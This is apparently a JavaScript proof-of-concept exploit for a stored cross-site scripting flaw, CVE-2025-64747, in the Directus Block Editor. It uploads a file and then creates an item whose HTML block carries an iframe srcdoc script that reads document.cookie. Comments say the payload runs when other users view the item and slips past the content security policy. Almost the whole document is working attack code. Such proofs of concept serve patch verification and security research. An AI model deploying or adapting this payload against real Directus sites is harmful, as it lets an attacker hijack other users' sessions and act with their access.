// CVE-2025-64747 PoC - Stored XSS via Block Editor in Directus // Requires: upload files + edit item permissions // Step 1: Upload a file const uploadFile = async (file) => { const formData = new FormData(); formData.append('file', file); const response = await fetch('/files', { method: 'POST', headers: { 'Authorization': 'Bearer YOUR_TOKEN' }, body: formData }); return response.json(); }; // Step 2: Create item with malicious Block Editor content const createMaliciousItem = async () => { const maliciousPayload = { title: 'Test Item', content: { type: 'root', children: [ { type: 'html', html: '<iframe srcdoc="<script>alert(document.cookie)</script>">' } ] } }; const response = await fetch('/items/your_collection', { method: 'POST', headers: { 'Authorization': 'Bearer YOUR_TOKEN', 'Content-Type': 'application/json' }, body: JSON.stringify(maliciousPayload) }); return response.json(); }; // Step 3: When other users view the item, XSS executes // The iframe srcdoc bypasses CSP and executes JS in the context of the Directus origin
